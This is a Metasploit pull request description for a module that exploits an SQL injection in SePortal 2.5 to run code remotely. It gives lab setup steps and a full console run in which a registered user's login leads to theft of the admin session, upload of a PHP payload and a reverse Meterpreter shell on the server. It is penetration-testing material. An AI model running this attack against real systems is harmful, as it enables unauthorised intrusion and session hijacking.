rapid7/metasploit-framework — pull request #3126 by xistence (2014-03-20 05:03:55+00:00)
Title: SePortal 2.5 SQLi Remote Code Execution

This module abuses an SQL injection in SePortal 2.5. An account is necessary to use this vulnerability, but anyone can register for an account in SePortal.
The module has been tested on CentOS 5 32-bit.

- Download SePortal 2.5 from http://www.seportal.org/downloads.php?action=showfile&id=1
- Install
- Register a new account
- Make sure you login as the admin so that a session is stored in the database
- Run the exploit with the non-admin credentials :)

msf > use exploit/unix/webapp/seportal_sqli_exec
msf exploit(seportal_sqli_exec) > set RHOST 192.168.2.132
RHOST => 192.168.2.132
msf exploit(seportal_sqli_exec) > set USER pwned
USER => pwned
msf exploit(seportal_sqli_exec) > set PASS pwned
PASS => pwned
msf exploit(seportal_sqli_exec) > exploit

[*] Started reverse handler on 192.168.2.22:4444
[*] 192.168.2.132:80 - Logging in as user [ pwned ]
[*] 192.168.2.132:80 - Login successful
[*] 192.168.2.132:80 - Session cookie is [ 58kn8uuep43amidq175atqi074 ]
[*] 192.168.2.132:80 - Retrieving admin session through SQLi
[*] 192.168.2.132:80 - Admin session is [ 6tb990hmqf18mqui4ja28su2k4 ]
[*] 192.168.2.132:80 - Uploading payload [ iyoqm.php ]
[*] 192.168.2.132:80 - Requesting payload [ /seportal/data/down_media/iyoqm.php ]
[*] Sending stage (39848 bytes) to 192.168.2.132
[*] Meterpreter session 1 opened (192.168.2.22:4444 -> 192.168.2.132:38514) at 2014-03-20 11:58:51 +0700
[+] Deleted iyoqm.php

meterpreter > getuid
Server username: apache (48)